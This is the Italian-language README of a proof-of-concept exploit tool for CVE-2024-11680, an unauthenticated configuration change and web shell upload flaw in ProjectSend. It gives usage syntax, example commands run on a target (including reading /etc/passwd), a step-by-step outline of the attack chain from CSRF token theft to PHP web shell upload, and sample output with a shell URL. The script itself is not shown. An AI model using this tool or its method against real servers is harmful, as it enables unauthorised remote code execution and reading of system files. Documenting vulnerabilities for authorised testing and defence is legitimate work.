Exploit ProjectSend CVE-2024-11680

Questo è un exploit proof-of-concept per CVE-2024-11680, una vulnerabilità di modifica della configurazione non autenticata e upload di web shell in ProjectSend.

Descrizione

L'exploit sfrutta molteplici vulnerabilità in ProjectSend:

• Bypass del token CSRF che consente modifiche alla configurazione
• Impostazioni di registrazione client non sicure
• Upload di file senza restrizioni che porta all'esecuzione di codice remoto

Requisiti

• Python 3.x
• Pacchetti Python richiesti:
  root@kitploit:~

  pip install requests colorama
  

Utilizzo

python3 exploit.py -u <TARGET_URL> -c <COMMAND>

Argomenti

• -u, --url: URL di destinazione (es., http://target.com/projectsend)
• -c, --command: Comando da eseguire sul target (default: id)

Esempi

# Get Python version
python3 exploit.py -u http://target.com/projectsend -c "python3 -V"

# List directory contents
python3 exploit.py -u http://target.com/projectsend -c "ls -la"

# Get system information
python3 exploit.py -u http://target.com/projectsend -c "uname -a"

# Read passwd file
python3 exploit.py -u http://target.com/projectsend -c "cat /etc/passwd"

Come funziona

1. Ricognizione: Recupera il token CSRF e verifica la vulnerabilità del target
2. Manipolazione della configurazione: Abilita opzioni di registrazione client non sicure
3. Registrazione utente: Crea un nuovo account client con approvazione automatica
4. Caricamento file: Carica una web shell PHP con estensione .phtml
5. Esecuzione comandi: Esegue i comandi specificati tramite la shell caricata

Caratteristiche

• Estrazione automatica del token CSRF
• Generazione casuale delle credenziali utente
• Denominazione intelligente dei file e rilevamento timestamp
• Output colorato per una migliore visibilità
• Capacità di esecuzione comandi integrata

Avviso legale

Questo strumento è solo per scopi educativi. Usalo responsabilmente e solo su sistemi per i quali hai esplicita autorizzazione al test.

Riferimenti

• CVE-2024-11680

Output di esempio

[+] Target is vulnerable
[+] Insecure options enabled
[+] User registered successfully.
[+] New username: NoDLQWYF
[+] New password: X02A3g9LuN4S
[+] File uploaded: kLoISqdA.phtml
[+] File accessible at: http://target.com/projectsend/upload/files/1774958997-3b58e110c289baddfd8a6d1d5f34d96e77009fdc-kLoISqdA.phtml
[+] Command Output:
Python 3.9.2